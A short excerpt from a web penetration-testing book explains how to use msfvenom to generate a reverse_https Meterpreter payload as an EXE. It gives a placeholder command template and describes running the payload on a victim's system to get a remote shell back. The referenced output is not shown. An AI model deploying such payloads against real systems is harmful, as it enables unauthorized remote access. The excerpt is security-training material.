- Hands-On Web Penetration Testing with Metasploit
- Harpreet Singh Himanshu Sharma
- 77字
- 2021-06-24 16:18:58
Generating an MSF payload using msfvenom
MSFvenom is a built-in tool that generates and obfuscates payloads without the need to start MSF. Execute the msfvenom -p <MSF supported payload> lhost=<IP> lport=<PORT> -f <Output File Format> -o <payload filename> command to generate a reverse_https Meterpreter payload in EXE format and save the file:
In both cases, we used ls -alh https_2.exe.
This payload can now be uploaded/executed on the victim's system to get a reverse Meterpreter connection over a secure HTTPS tunnel back to us.